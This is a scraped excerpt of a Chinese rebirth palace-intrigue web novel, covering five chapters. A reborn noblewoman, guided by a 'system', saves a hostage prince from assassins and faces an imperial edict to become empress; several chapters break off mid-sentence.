《奉旨为后,但撕了皇后剧本(重生)》 1. 救人 《奉旨为后,但撕了皇后剧本(重生)》全本免费阅读 盛京郊外。 夜色乌蒙,闷雷滚动,连绵的细雨似是将浅子坡笼罩上一层薄雾,如轻纱般朦胧。 容蓁独自身形灵动地在夜雨中疾走,前方忽然传来金铁交鸣与厮杀呼喝之声。 她随即停下疾走的脚步,压低了身子,猫着腰在齐人高的草丛中穿梭,像极了一只灵巧的猫,正眼神警惕地朝声源处望去。 前方不远处,几名黑衣人围着一个人影厮杀,刀光剑影间,那人却稳如泰山,一袭白衣纤尘不染。看得出此人武功高强,而他身边的护卫正被黑衣人逐一击倒。 “系统,你确定那被围困其中的白衣郎君便是此次目标?” 【系统确认无误,请宿主即时完成第一个任务】 容蓁点点头,几日前她从系统得知自己已经重生到七年前,目的是需要帮系统完成三件事。 她小心翼翼地猫着身子,一双杏眼仔细打量四周。 余光一瞥,远远瞧着那位白衣郎君终是寡不敌众,几回合下来身上衣物好几处被剑气撕裂,左臂被鲜血染红,背倚着古木,面色苍白如纸。 他右手紧握住剑柄,警惕地盯着已将他包围起来的数名黑衣人,一双漆黑的眸子冷漠如同冬日寒冰,眼底闪烁着杀意。 见白衣郎君如此情形,草丛里的容蓁深吸一口气,正要提劲冲出去,“咔嚓”一声脆响,在寂静的山坡上格外刺耳。 “谁在那里?!”不远处的黑衣人厉声喝道,蒙着面只留一双恶狠狠的眼睛立即朝她所在方向看了过来,接着就瞧着那人手提长剑,向她藏身之处刺来。 她神情颇为凄哀地瞥了眼脚下踩断的枯枝,心知已经躲闪不及,索性从草丛里冒出头,站起身来,故作镇定地拍了拍身上的草屑,露出一个柔弱无辜的笑容。 “这位大侠,我只是路过此地,远远瞧见你们在此……切磋武艺,一时好奇,所以……” “少废话!” 容蓁脖子朝后缩了缩,面上更加柔弱了几分,眼角甚至泛起点点泪光。 “大侠,我真的只是个路过的弱女子……” 边说边瞧那黑衣人眉眼间已无半份耐性,见其剑尖一挑,手中的剑直直向她喉口刺来。 但那黑衣人显然失了先机,这一次容蓁已做好准备,对方挑剑挥来的一瞬间,她立即侧身躲开刺来的锋芒,以掌化刃直击那黑衣人胸口,同时反手挽花夺下其刃。 被夺了兵刃的黑衣人,顿时横眉一竖,红眼劈掌而来。 “看来今日是不能善了了。”她眸光骤冷,再不复方才的柔弱,取而代之的是凌厉的杀气。 剑尖带起寒星点点,在夜空划过一道绚丽弧线。 每次剑锋挥舞都带起阵阵风声,在夜空中“铮铮”作响。 几回合下来,容蓁已从这些人的招式中,摸清了他们的来路。因为这些黑衣人的招式就似刻在她脑海中一般,让她致死难忘! 而后,她剑招逐渐凌厉,从招招制敌,转为招招毙命。 剑光如银蛇狂舞,在密林中划出一道道刺眼的光弧。她手腕翻转,长剑刺穿最后一名黑衣人的胸膛,温热的血液溅了她一脸。 她却连眼皮都没眨一下,只嫌恶地皱了皱眉,随手用衣袖将脸上的血污抹去。 抬手转眸间,她瞥见战圈中央的白衣郎君原地微怔片刻。 不知是因方才她杀敌时冷静的动作,还是没有料到此时会有人突然出现在此地。 不过下一刻,银光闪过,白衣郎君手中长剑如同穿花蝴蝶般划过,直指刺向她后背的黑衣人,她及时侧身避过刺来的另一柄锋利长剑。 银光闪动间,两人背靠而立。 微凉的雨水打落在他们身上,容蓁吸了吸鼻子,一股淡淡甘松香味沁入鼻中。 “你没事吧?”她未曾回头,问向身后之人。 身后人身形挺拔,如同一柄出鞘的利剑,周身散发着凌厉的杀气。他眸光微转,唇角勾起一抹冰冷的弧度:“区区鼠辈,还奈何不了我。” 话音未落,他手中长剑一抖,剑气如虹,瞬间将围攻他的几名黑衣人震飞出去。 容蓁微微转过头,眸中闪过一抹赞赏之色,脸上不动声色,只淡淡提醒道:“这些人训练有素,配合默契,并非普通的江湖杀手。” “看来,有人不想让我活着离开这片树林。”白衣郎君语气冰冷,眸中杀意凛然。 她环顾四周,却见黑衣人越聚越多,显然是有备而来,如此精心谋划不愧是宫中那位的手笔。 “我们需快些找准时机逃出去……” 她话还没说完,就被白衣郎君打断:“你放心,不会让你有事。” 他说着,一把将她护在身后,周身气势暴涨,手中长剑挥舞得密不透风,将所有攻击尽数挡下。 白衣郎君闻言,只留下“小心”二字,毫不犹豫地朝围上来的黑衣人提剑冲去。 看着不断增员的黑衣人,容蓁尝试着在识海里沟通,“系统,让林中鸟雀掩护我二人脱困。” 【系统收到,这就为宿主准备】 不过几息间,越来越多黑衣人的出现,将他们二人里外三层围困在中间。 正当众黑衣人以为他们二人插翅难飞,得意松懈之时,周遭异变突生。 原本寂静的树林突然狂风大作,树叶沙沙作响,仿佛有什么恐怖的东西即将苏醒。 众黑衣人纵使见多了各种场合,此时也被这等阵势所吓,纷纷抬头张望。 “不好,是黑鸢!”为首的黑衣人脸色一变,惊呼出声。 只见无数只黑鸢从树林深处飞出,遮天蔽月,如同一片黑色的乌云,飞速俯倾而下,朝他们席卷而来。 这些鸟雀并非凡物,它们双目赤红,尖喙锋利如刀,散发着阵阵令人作呕的血腥味。 “该死!”为首的黑衣人脸色阴沉,手中长剑挥舞得更加凌厉,将那些试图靠近啃食他们的黑鸢一一斩落。 无奈黑鸢数量实在太多,杀之不尽,斩之不绝。 眼见黑衣众人已无心记挂在他们二人身上,容蓁挑准时机,迅速拉起白衣郎君衣袂趁机突围而出,一路向东侧行进, 利用岩壑做掩护,两人如同幽灵般消失在茫茫夜色中。 - 二人一路东逃,躲进一处荒废的古刹内。 古刹破败,香火断绝。 正殿中,蛛网积灰,只有一尊斑驳的佛像,残垣断壁间,风声鬼哭似的呼啸。 “安全了。”容蓁喘着粗气,额头上滑下冷汗与雨水交织。 “你是何人?救我有何目的?” 剑尖寒光直逼心口, 雨水顺着剑身滴落, 冷冷地打在地上发出清晰可闻之声,执剑之人沉下脸来,眼神冷厉如刀,语气却是不咸不淡地道。 古刹外雷声滚滚,老树枝桠如鬼爪般交错盘旋,在风中发出呜咽般响声。 雨水顺着残破屋檐滴下形成小水洼,在微弱月色下泛起涟漪。 剑尖距离她不过数寸,那双冷眸一瞬不瞬地盯着她,让她只觉凉意逼人。 容蓁对上白衣郎君的视线,葱白的两指轻轻推开那寒凉的剑尖。 看着他,嘴角微微上扬,哪怕被雨水淋湿如此窘迫的她,此刻也如同日初的水中芙蓉般,使人挪不开眼,她轻启朱唇,声音柔如春风,“公子怕是有所 2. 回府 《奉旨为后,但撕了皇后剧本(重生)》全本免费阅读 一夜无话。 晨曦透过屋顶的残瓦,将古刹地砖染上一层暖色。 容蓁睁开眼,只觉浑身酸痛。 她揉了揉眉心,撑着身子坐起来,捏了捏酸痛的肩膀。 “醒了?”清冷的声音自身后传来,不带一丝温度。 她看向声源处,古刹外一身白衣的郎君手里攒着几枚野果,眉眼间带着清晨的寒露,晨光在他身后镀上一层金边,更显清冷孤绝。 他眉眼冷峻,薄唇紧抿,自古刹外走进来,将手中的野果分出来些递给容蓁,“将就一下吧。” “多谢。”容蓁将身子坐直后,才伸手接过递来的果子,却并没有吃,只握在手里。 比起果腹之欲,身上半干不湿的衣衫,更让她觉着难受。 她瞅了一眼后撤几步,在离她不远处站立的白衣郎君,开口道:“此地离进城还有二十多里地,骑马都需要花上一个时辰,更何况……”她顿了顿,“我们现在连一匹马都没有。” 她声音柔弱,带着一丝初醒的娇憨,听起来像是在撒娇。 白衣郎君偏头睨了她一眼,语气冷淡:“我不与你同行。” 容蓁眸光微闪,不动声色地问道:“你要去哪儿?” “回来路上,发现离此处不远有羽林军活动的踪迹。”白衣郎君抬眸,深邃的眸子如一潭寒潭,不见底,亦不透光,“那些人应当是来寻我的。” 他既是进京质子,未按预定时辰入京,羽林军出城寻他也是情理之中。 “既如此,我的确不应与你继续同行,”容蓁眼眸微垂,掩去眼底的精光,“免得招惹是非。” 她说着,便挣扎着要起身,只是昨夜在硬邦邦的地板上躺了一宿,身子骨早就酸痛不已,刚一动就忍不住闷哼一声。 闻声,白衣郎君眉心微不可查地皱了皱,肢体上并没有上前帮忙的意思。 容蓁咬着唇,扶着墙缓缓站起身,一步一步地往古刹外走去。 她背影纤细柔弱,仿佛风一吹就能倒下,偏生每一步都走得坚定无比。 身后一双眼睛看着她的背影,眸色深沉,无人知晓那双眼睛的主人在想些什么。 直到走出古刹,容蓁才回头看了一眼身后破败的庙宇,唇角勾起一抹意味不明的笑。 - 与白衣郎君分开后不久,本打算步行回京的容蓁,偏巧途中遇到送货的镖局,于是给了对方不少银两,对方立马眉笑颜开地匀了一匹马出来,将缰绳递在她手中。 她一路打马疾风飞驰,不到一个时辰,顶着天空又开始落下的雨丝入了盛京。 入京后穿过永乐大街,一路往北,最终在城北占据整条荣安街的一座府邸前停下。 朱漆大门,铜环生光,门前两尊石狮子肃立于门前,府门地面上被雨水冲刷的无半点尘土,仿佛与记忆中一般无二。 马背上的容蓁外衫早已浸湿,裙袂满是泥泞,湿漉漉的发丝贴在脸上。 府门中央“容府”二字映入眼帘,她眼底瞬时布满雾霜。 七年了。 上一世,自从她入宫,便再也没有踏入过容府一步。 前世,奉旨入宫后便再也没机会回来。 父亲在她入宫三年后因病去世,她甚至没能再见他最后一面。 如今,她回来了,带着前世的记忆和对父亲的爱。 若非要按规则需帮助系统完成第一件事,在她重生醒来后最迫不及待的事情应是快马加鞭回府。 她翻身下马,心中五味杂陈,抬步拾级而上。 门房被人从内打开,一小厮满脸焦急的模样正要出府,看清来人后惊呼着转身,急忙招呼门房内的人将她迎进府,激动地跑向里面报信,“小姐回来了!” 小厮话音才落,门内便有丫鬟婆子们围拢过来,关切地询问道:“小姐去了哪里?相爷打发了好几波人去找您,就差将这盛京给掀了个底朝天了。” 看着往日一张张熟悉的面孔,她芙蓉玉面上满是雨珠,也遮盖不住此刻眼底的波澜。 她被众人簇拥着入了府门,淡淡的玉兰花迎面扑鼻,每一处景致都温馨而熟悉。金碧辉煌的灯笼高挂于廊柱之间,玉石铺地,珍贵木料打造的栏杆上雕刻着精美图案。 穿过游廊时,她迈出的每一步都像是重温旧梦。 不知不觉,她已被丫鬟婆子们簇拥着走进白兰苑,这里是她闺房的所在的院落。 容蓁颤抖地抬手,推开闺房重重叠叠锦帘,房间内布置如旧。精致雕花木梳妆台、玲珑剔透窗花、软绸覆盖下散发着幽香的檀木床……每一处无不彰显着主人家族数代积累下来的荣耀与繁华。 婆子丫鬟们欢喜着小姐安全回府,急忙着安排拿来锦帕和干净的衣服,欢喜间都未曾注意到容蓁面色的异常,几个人七手八脚地伺候着将她身上的湿衣换下,换了件崭新的鹅黄银丝绣花锦裙。穿戴妥当后,身旁的丫鬟拿了菱花镜来递给她。 接过菱花镜,她仔细打量着镜中的自己,皮肤如凝脂般白皙, 杏眸含春水半弯, 唇角轻启, 一头黑发如墨画般铺洒肩头。分毫不见在深宫之中,蹉跎多年的痕迹。 未来得及感叹。 院外,匆忙而稳重的步伐声越来越近。 “蓁儿!”熟悉的声音,仿佛穿过无尽的岁月传入耳中。 她猛然起身,拨开身前围着的一圈乌泱泱的人,踉跄地扶门而出。 门外,穿着朱红色长袍的父亲转身出现在房门前时,她终是绷不住泪如雨下。 她颤抖着声音,猛地扑进来人的怀中。 “父亲……” 原本脸上略带愠色的容玉山微微一愣,嘴边训斥的话化作手掌中温暖的安抚着女儿的后背:“安然无恙就好……” 片刻后,容蓁缓缓退出父亲的怀抱,深吸一口气,压下心中翻涌的情绪,好一会才恢复平静。 周边的婆子丫鬟们围上来将二人扶着坐下,又为二人各沏了杯茶后,众人颇有眼色地一一退下,只留父女二人在内。 容蓁端起丫鬟沏好的香茗,轻轻抿了一口,将昨晚发生的事情简单地告诉了父亲。 “什么?!”容玉山猛地站起身,眼中满是震惊,“此事可当真?” 容蓁放下茶盏,语气肯定,“千真万确,那些黑衣人的招式狠辣,分明是训练有素的死士,女儿瞧着,像是……” 她顿了顿,没有继续说下去,但容玉山身在官场多年,高居相位之职又有侯爵在身,是何等老辣的人物,如何不明白她的意思。 “你的意思,是皇上?”他眉头紧锁,眼中闪过一丝寒光。 容蓁微微颔首,袖中的手紧紧攒成拳。前世皇帝便是拿此事借题发挥,以礼部藩辖司郎中常明知护送质子不周为由下了罪召,而后开始逐步瓦解容家在朝堂中的势力。 也正因此,当系统让她速去浅子湾救助南疆质子时,她才将殷切回府的心压了下去, 3. 遗旨 《奉旨为后,但撕了皇后剧本(重生)》全本免费阅读 夜幕降临,华灯初上,容府笼罩在一片静谧祥和之中。 父亲与兄长在她院里用完晚饭后,二人神情严肃地去了书房。 容蓁斜倚在窗边的软榻上,指尖轻轻翻动着一卷书册,心思却早已飞到了九霄云外。 一阵夜风拂过,带来几丝初夏的燥热,也吹动了桌上摆放着的一株盛开的玉兰,花瓣摇曳生姿,散发着淡淡的清香。 突然,一阵急促的脚步声打破了院中的宁静。 软榻上的美人眉梢微动,放下手中的书卷,抬眸望去。 只见贴身丫鬟芯红脚步匆匆,打帘走了进来,脸上紧绷着,眼神里带着一丝慌乱。 “小姐,宫里来人了,说是皇上传老爷进宫。” 容蓁眸光微闪,一抹精光在眼底一闪而逝。 这么晚了,皇上突然召父亲进宫,难不成是已拟定了常明知的罪召。 很快,她又否定了自己的想法,记忆中常明知的罪召并没有那么快下来,并且这一次南疆质子并非是在他手底下出事,遇刺时押送质子进京的队伍还未到达与常明知碰头的地点,这一次罪召并没有那么容易下来。 若不是常明知的罪召,还能是什么? 她脑海中迅速回忆着,片刻后她瞳孔骤缩,难不成是…… “可知皇上召父亲进宫所谓何事?” 芯红摇摇头,语气担忧:“奴婢不知,来的公公只说是皇上口谕,让老爷速速进宫。” 容蓁沉吟片刻,立即起身,吩咐道:“替我梳妆。” 芯红一怔,有些不解:“小姐,您也要进宫吗?” 容蓁点头。 “你先不管那么多,替我梳好妆,方便我随时接应父亲。” 若她记得不差,今夜皇帝召见的不止父亲一人,召见入宫的还有刚回京的自己。 看着菱花镜中的绝世容颜,她轻轻抚摸着腰间佩戴的一枚玉佩,那是母亲留给她的遗物,也是她在这世上唯一能向母亲寄予哀思的物件儿。 前世,她为了家族利益,被迫入宫为后,一心只求安稳,最后却落得个家破人亡的悲惨下场。 这一世,她绝不会让自己和家族再重蹈覆辙! 才过两盏茶的时间,容蓁一身素雅的宫装,在芯红的陪同下,来到了前院正厅。 此时,容玉山已经换好官服,正焦急地来回踱步,看到容蓁后他连忙走来。 “蓁儿,陛下传旨让我们父女二人即刻进宫!” 他顿了顿,语气变得凝重起来,“陛下听说了你从漠北回来的消息,所以……” 容蓁微微一笑,语气平静:“父亲放心,女儿自有分寸。” 果然如同前世一般,皇上这是以探听漠北消息为由,想要掌握二哥的消息,还有要在今晚拿出先皇的遗旨…… 思绪飘忽一瞬。 容玉山看着女儿镇定的模样,心中的焦虑少了几分,既欣慰又担忧。 他伸手拍了拍女儿的肩膀,语重心长地说道:“蓁儿,你放心,无论发生什么事,父亲自会护着你的。” 容蓁点点头,她当然知道父亲是如何将自己视为东海明珠般呵护。以至于上一世皇帝拿出先皇遗旨时,一向镇定自若、在官场游刃有余的父亲,竟然公然抗旨谢罪,只因不忍将自己这个女儿送入深宫内蹉跎光阴。 因此,皇帝大怒,重罚父亲四十大板,自此身上落了疾。 容蓁吸了吸鼻子,垂眸掩去眼底即将溢出怨恨。 她反手握住父亲的手,语气坚定地说道:“父亲放心,女儿并非那个任人摆布的弱女子,必要的时候女儿会保护好自己和家人的。” 父女二人四目相对,彼此眼中都充满了坚定和信任。 片刻后,容玉山率先收回目光,沉声道:“时间不早了,我们进宫吧。” 容蓁点点头,跟在父亲身后,一起走出容府。 夜色低垂,一辆马车缓缓驶出容府,朝着皇宫的方向驶去。 马车内,容蓁和容玉山相对而坐,谁都没有说话,气氛显得格外凝重。 容府占据城北整条街,二人由西门出,离皇宫的距离并不远,半柱香后,马车在宫门外缓缓停稳。 容蓁扶着容玉山走下马车。 宫门巍峨,朱漆大门在夜色中更显肃穆。 容蓁抬头看了一眼,眸色深沉。 前世,她无数次想踏出这扇大门,此时再一次站在这扇大门之外,她却从未有过此刻这般平静的心情。 这一次,她不是任人摆布的棋子,而是来执棋子的人。 - 夜色深沉,皇宫内灯火通明,将夜空映照得一片辉煌。 容蓁与父亲自宫门一路走来,隐隐中感觉到似是有意掩藏二人进宫的消息,路上并未遇到其他人。 直到临近御书房,才有一位太监笑眯眯地迎面走来:“皇上命奴才出来迎容相与容家小姐,地湿路滑,二位小心足下。” 她抬眼,只用眼尾扫了眼眉开眼笑的这位太监,就立马认出他是皇上身边的红人,名叫王乾,为人圆滑八面玲珑,在各位官员中也颇为吃得开,众人都愿意卖他个面子称上一声“王总管”。 王乾走在前,领着二人又行了不远,便到了御书房。 容蓁抬头,御书房三字金匾异常刺眼。 御书房内,一身玄色龙袍的人,端坐在书案前,手中批阅着奏折,俊美无俦的脸上没有一丝表情,周身散发着一股不怒自威的帝王之气。 他便是当今圣上,年仅二十五岁,便已登基五年,励精图治。 只是,这位年轻的帝王,却有着一颗冰冷无情的心。 在世人眼中杀伐狠绝的帝王,此刻却眉头紧锁,薄唇紧抿,深邃的眸子中闪烁着幽冷的光芒,让人捉摸不透他的心思。 他放下手中的奏折,揉了揉眉心,语气平淡地问道:“容玉山和容蓁到了吗?” 站在一旁侍奉的太监李公公连忙躬身答道:“回皇上,王总管领着容大人和容家小姐已经在殿外候着了。” 楚绍淡淡地“嗯”了一声,语气听不出喜怒:“让他们进来吧。” “是。”李公公领命,转身走出御书房。 不一会,容玉山和容蓁一前一后地跟着两位公公走进御书房,朝着御案前的楚绍行礼问安。 “臣(臣女)参见皇上,皇上万岁万岁万万岁。” 楚绍抬眸,放下手中朱笔,目光落在二人身上。 当他看到站在容玉山身后的容蓁时,深邃的眸子中闪过一丝不易察觉的惊艳。 眼前的女子,一袭浅粉色衣裙,乌黑的长发挽成简单的发髻,只用一支白玉簪固定,更衬得她肌肤胜雪,眉目如画。 明明是和记忆中一样的眉眼,却透着一股说不出的清冷和疏离,仿佛一朵生长在悬崖峭壁上的雪莲,清冷孤傲,却又带着致命的吸引力。 楚绍不动声色地收回目光,威严地开口,“平身吧。” “谢皇上。”容玉山和容蓁起身,垂首站在一旁,静候皇上问话。 “容卿,朕听闻你家大小姐才从漠北回来?”楚绍的声音听不出喜怒,深邃的眸子却一直落在容蓁身上。 容蓁微微福身,姿态优雅,语气平静无波,“回皇上,臣女思念 4. 偷听 《奉旨为后,但撕了皇后剧本(重生)》全本免费阅读 书案前的人似乎有些意外,却也稍纵即逝。 “容卿,既然南疆质子已经醒来,你随同朕前去探望一番。”楚绍放下手中茶盏,语气温和,目光却带着几分探究。 本还因女儿轻易承下旨意有所不满的容玉山,眯了眯眼睛,知道楚绍醉翁之意不在酒,他面上不露声色,恭敬地道:“臣遵旨。” 楚绍见状,颇为满意地点了点头,嘴角勾起一抹不易察觉的弧度。 他起身,率先走出大殿,容玉山和容蓁紧随其后。 一行人穿过重重宫门,缓缓向南疆质子所在的宫殿走去。 容蓁跟在容玉山身后,看似柔顺乖巧,实则心思百转千回。 他这是想借机试探容家对南疆质子遇刺一事的态度,或是在……试探她。 一路上,楚绍与容玉山谈笑风生,仿佛真的只是去探望病人,但容蓁却能感觉到,楚绍的目光时不时地落在自己身上,带着几分审视和探究。 她低头垂眸地紧跟其后,自当未瞧见一路走过各宫时一道道向她投射来的探究目光,心中暗暗盘算着如何才能摆脱眼前的困境。 就在思忖间,一行人脚步已经来到了南疆质子暂住的宫殿外。 “皇上驾到——” 太监尖细的声音在寂静的宫殿中回荡,显得格外刺耳。 容蓁抬首看着眼前雕梁画栋的宫殿微微蹙眉,心中有些不悦。 她不喜欢这种被众人注视的感觉。 “臣等参见皇上,皇上万岁万岁万万岁。” 殿内传来一阵参差不齐且带有一些口音的行礼声,显然是南疆质子的随从们。 “都起来吧。”楚绍目光瞬间从跪了一地的人身上扫过,语气平淡,听不出喜怒。 “谢皇上。” 众人起身,恭敬地站在一旁。 此时,她眼角余光瞥见一道有些熟悉的身影从殿内走出。 容蓁远远地瞧着那道身影,应是不过二十的年岁,身材却十分高挑,深邃的五官,眉眼间带着几分异域风情,只是脸色依旧苍白。 来人正是那晚她所救的白衣郎君。 步伐沉稳正朝他们走来,面容冷峻,一如既往的拒人于千里之外。 “外臣参见皇上。”那人走到楚绍面前,躬身行礼。 “萧世子身体可好些了?”楚绍抬手虚扶了一把,语气温和地问道。 那男子微微颔首,语气疏离:“多谢皇上关心,萧誉已无大碍。” 原来他叫萧誉。 萧誉微微颔首,目光却在触及容蓁时,闪过一丝复杂的情绪。 容蓁心中一紧,知晓对方应是认出了她,下意识地想要避开这道目光,刚好听见前面的楚绍此时回过头看着她,问道:“容家小姐,你怎么了?” 她连忙柔声解释道:“回禀皇上,臣女一未出阁的女子,实在不便参与此等场合,还是避嫌为好。” 说着,她微微福身,语气中带着几分期许,继续道:“听闻御花园百花盛放,美不胜收,不知臣女是否有幸前往一观?” 楚绍闻言,看向容蓁的眼中闪过一抹赞赏。 这小女子,倒是机敏。 “容家小姐说的是,是朕疏忽了。” 若方才进殿是如同一汪平静如湖水的皇帝,此时脸上就是如冬日朝阳。 他笑着点头,看着容蓁的凤眼未曾挪走一瞬,又道,“既如此,容家小姐便先去御花园赏赏花吧。” 说罢,他唤来身边的那位最为得力的太监,吩咐道:“王乾,你亲自带容家小姐去御花园,务必好生照顾,不得怠慢。” “老奴遵旨。” 王乾躬身领命,然后走到容蓁身边,恭敬地说道:“容小姐,请随老奴来。” “臣女谢过陛下。” 容蓁得体微微一笑,朝楚绍和容玉山福了福身,头也不回地转身跟着王乾朝御花园的方向走去。 她步履轻盈,裙摆在身后划出一道优美的弧度,仿佛一只翩翩起舞的蝴蝶。 萧誉的目光一直追随着容蓁的身影,直到她消失在殿门转角,才缓缓收回视线。 那晚,若不是她出手相救,他恐怕早就命丧黄泉了。 只是,她为何要救自己? 难道如她所说,真的只是单纯地想要救人? 萧誉心中充满了疑惑。 直到现在再次遇到她,他更加坚信了,这件事没有那么简单。 而此时,前往御花园的容蓁,并不知晓自己已经引起了别人的注意。 她随王乾全穿过曲折的宫廊。 御花园离萧誉暂住的宫殿并无多远,不过几盏茶的时间就到了。 她漫步在花丛中,看似悠闲自在,实则心思百转千回。 御花园景色秀丽,百花争艳,美不胜收。 容蓁信步走在花间小径上,心中却毫无欣赏之意。 她知道,自己的一举一动,都在楚绍的监视之下。 与其做戏给他看,倒不如做些实事。 想到这里,容蓁停下脚步,转身对王乾说道:“王总管,我有些口渴,想去那边亭子里歇歇脚,不知可否帮我取些茶水来?” 王乾顺着容蓁的目光看去,见不远处有一座精致的八角亭,便点头道:“自然是可以的,容小姐请便。” 容蓁微微点头一笑,“那就有劳王总管了。” 话落,提步朝八角亭走去。 然而,就在她即将踏入亭子的那一刻,却突然听到一阵低低的说话声从亭子另一侧传来。 竟然此时还有宫妃在御花园? 她心中疑惑,好奇心促使她放轻了脚步,向声源处走去。 “你们听说了吗?那位受伤的南疆质子已经醒了呢,他可是个狠角色呢!” 亭中,传来女人的声音,容蓁脑海中思索着,这声音不像是哪位宫妃,不知是谁人正讨论着萧誉。 “嘘!小声点!这话可不能乱说!” 有另一女人出声制止了方才那女子的话头。 “怕什么!这里又没有外人!”方才那女子不以为意道。 “就是!再说了,就算被听到了又如何?难道我们说的不是实话吗?”又有人附和道。 “哎,你们说,那位质子,会不会对咱们楚燕不利啊?” “谁知道呢!不过,我猜他应不是什么善茬!” “听说他冷血无情,杀人如麻,就连自己的亲兄弟都不放过!” “真的假的?这么可怕?” …… 容蓁听到这里,心中一动。 南疆质子? 是他…… 她不动声色地放慢了脚步,竖起耳朵,仔细听着亭子里的对话。 “哎,你们说,那位质子长得怎么样啊?” “这个嘛……我倒是听说,那位南疆质子长得十分俊美,比咱们楚燕的男子还要好看几分呢!” “真的假的?南疆人不都是些南蛮子。” “骗你做什么!我可是听说,那位质子,可是南疆出了名的美男子呢!” “哎,可惜了,这么俊美的男子,竟然是个冷血无情的煞星!” “谁说不是呢!真是可惜了那副好皮囊!” …… 到底是哪些人,竟然在皇宫内如此高调谈论一名男子。 容蓁听到这里,心中更加好奇了。 她悄悄探出头,朝亭子里望去。 只见亭子里坐着几个衣着华丽的妇人,正一边品茶吃点心,一边低声闲聊着。 而她们谈论的对象,正是方才打过照面的,那位面容冷峻名叫萧誉的人。 她侧耳一边听着,一边将目光落在了其中一位妇人身上。 那妇人身穿一件大红色的宫装,头上戴满了珠翠,打扮得雍容华贵,一看便知身份不 5. 暗查 《奉旨为后,但撕了皇后剧本(重生)》全本免费阅读 雕花木窗外的更声敲过三下,容府的马车行驶在无人的街道上。 车轮碾过青石板,发出沉闷的声响,在寂静的夜晚格外清晰。 容蓁与容玉山相对而坐,谁都没有说话。 车厢内只余车轮滚动和偶尔的马蹄声,气氛压抑得几乎令人窒息。 容蓁轻轻掀开车帘一角,望向窗外寂静无人的街景。 夜色压低,路旁的灯笼在风雨中摇曳,照亮一方逼仄的天地。 店铺昏黄的烛光残影在她脸上明灭不定,映照出她眸底深藏的思绪。 “父亲,您说,皇上打算如何处理常明知?”良久,容蓁放下车帘,打破了沉默。 闭目养神中的容玉山,闻言,缓缓睁开眼,深邃的目光落在容蓁脸上,带着几分担忧,“蓁儿,你今日在御书房,可有察觉到什么异常?” 异常?她偏着头回想片刻,想不起自己有那个地方遗漏。 容蓁摇摇头,精致的眉眼间染上一抹凝重,她默然半响,看向父亲斟酌道:“皇上心思深沉,喜怒不形于色,今日所言,旁人看到的是对容家无上恩宠,但在明眼人却是知晓,此举实则是想将我们容家架在火上烤。” 前世,她与楚绍七年夫妻,七年里她从未去揣测过这位亲手将她家族覆灭的枕边人。 即便每日过得如履薄冰,也未曾想到那人竟不留一丝情面。 她闭上眼睛,平复心中的波涛。片刻后,再度睁开眼。 容玉山叹息一声,语气中带着几分凝重:“是啊,如今朝堂之上,风云变幻,我们容家,也到了不得不谨慎行事的时候了。皇上此番召你我进宫,又突然拿出先皇遗旨逼你奉旨为后,恐怕并非表面上看起来这般简单。” “父亲的意思是,皇上此举,或许另有深意?”容蓁秀眉微蹙。 前世萧誉遇刺是在与常明知汇合之后,而这次她故意设计耽误了常明知行进的脚程,好让萧誉遇刺时常明知在未随同的情况下,不必担下护送不周的罪责。 “蓁儿,你要记住,在这深宫之中,步步为营,稍有不慎,便会万劫不复。”容玉山看着容蓁,伸手握住了她的手,语重心长地说道。 容蓁点点头,美眸中闪过一抹坚定,“父亲,女儿记下了。” 马车在寂静的街道上缓缓驶向容府,在正门前停下。 容蓁和容玉山一前一后走下马车。 容府门前灯火通明,将两人的身影拉得格外修长。 听见声响,门房探头出来,见到瞧清楚是二人后,立即打开了正门,将父女二人迎进府。 见二人神情凝重地迈步入府,也十分有眼见力地闭口不言。 “蓁儿,今日之事,事关重大,你我需从长计议,一切事宜,明日再说。”容玉山拍了拍容蓁的肩,语气中带着几分疲惫。 容蓁点点头,目送着容玉山离去,心中五味杂陈。 夜风拂过,带来一丝凉意,也吹散了容蓁脸上刻意维持的平静。 空旷的庭院,寂静无声,只有她的脚步声在回响。 回到自己的院子,容蓁挥手屏退所有下人,独自一人坐在窗前,望着窗外漆黑的夜色,陷入沉思。 楚绍的心思,昭然若揭,她需有所应对。 “紫冥。”容蓁收回思绪,对着空气轻声唤道。 话音刚落,一个身穿黑衣的暗卫便悄无声息地出现在她面前,单膝跪地,恭敬地说道:“属下在。” “去,给我查一个人。”容蓁拿起桌案前的珠串,漫不经心地在手中磨砂着,语气带着一丝威严。 “是,请小姐吩咐。”唤作紫冥的暗卫低着头,等待着她的命令。 “南疆质子,萧誉。”容蓁一字一句地说道。 “属下明白。”紫冥领命而去,在深夜中悄无声息地消失,仿佛从未出现过一般。 容蓁看着紫冥消失的方向站起身,走到梳妆台前,认真地端详着镜中的自己。 眉如远山,眸若星辰,肌肤胜雪,唇不点而红。 这是一张足以倾倒众生的容颜,却也是一把双刃剑。 她可以利用自己的美貌,周旋于权贵之间,为家族争取利益。 但她更清楚,只有真正的实力,才能让她在波谲云诡的朝堂之上,立于不败之地。 她垂下眼睑,手里的珠串儿在指尖磨砂着。 不知为何,她心中有一个不可思议的猜想。 若是今日听来的流言为实,萧誉则是个不好惹的人。 若为虚,就那晚她对此人的观察,这样的人物—— 或许,就连“质子”这样的身份,本就不是别人强加给他的。 那么,他以身犯险接近楚燕皇室,究竟又有何目的? 这一夜,注定是一个不眠之夜。 - 翌日清晨,容蓁刚刚起身,暗卫便将打探到的消息呈了上来。 “小姐,南疆质子萧誉,年十六,南疆王第三子,自幼聪慧过人,文武双全,深得南疆王宠爱,七岁时生辰被南疆王定为下一任继承王位的世子……” 紫冥低着头事无巨细地将萧誉的生平过往,都详细地汇报了一遍。 容蓁静静地听着,手指轻轻敲击着桌面,发出清脆的声响,像是在思考着什么。 看来,这位南疆质子,果然并非表面上看起来那么简单。 “除此之外,属下打探到,这位南疆质子,并不简单。” “哦?”容蓁挑眉,来了兴致。 “这位南疆质子,不仅精通兵法谋略,还精通医术,毒术,听说,他的武功,更是深不可测,就连南疆王身边的几位高手,都对他赞不绝口。”紫冥压低声音,目光中压抑着炽热的光。 “还有呢?”容蓁追问道。 “据说,他性格孤僻,不近女色,而且,手段狠辣,杀伐果断。”紫冥说到这里,稍稍顿了顿,“在南疆,他被人称为‘玉面阎罗’。” 玉面阎罗? 容蓁想到那晚,萧誉那件指着自己的那模样,若有所思地点了点头。 长得确实不错。 不过,这位南疆质子,还真是个不容小觑的人物。 容蓁纤手执起茶盏,指尖轻轻摩挲着杯沿,青瓷的凉意透过肌肤,却驱不散心头翻涌的思绪。 紫冥的话在她脑海中回荡,每一个字都像是一块石子,激起层层涟漪。 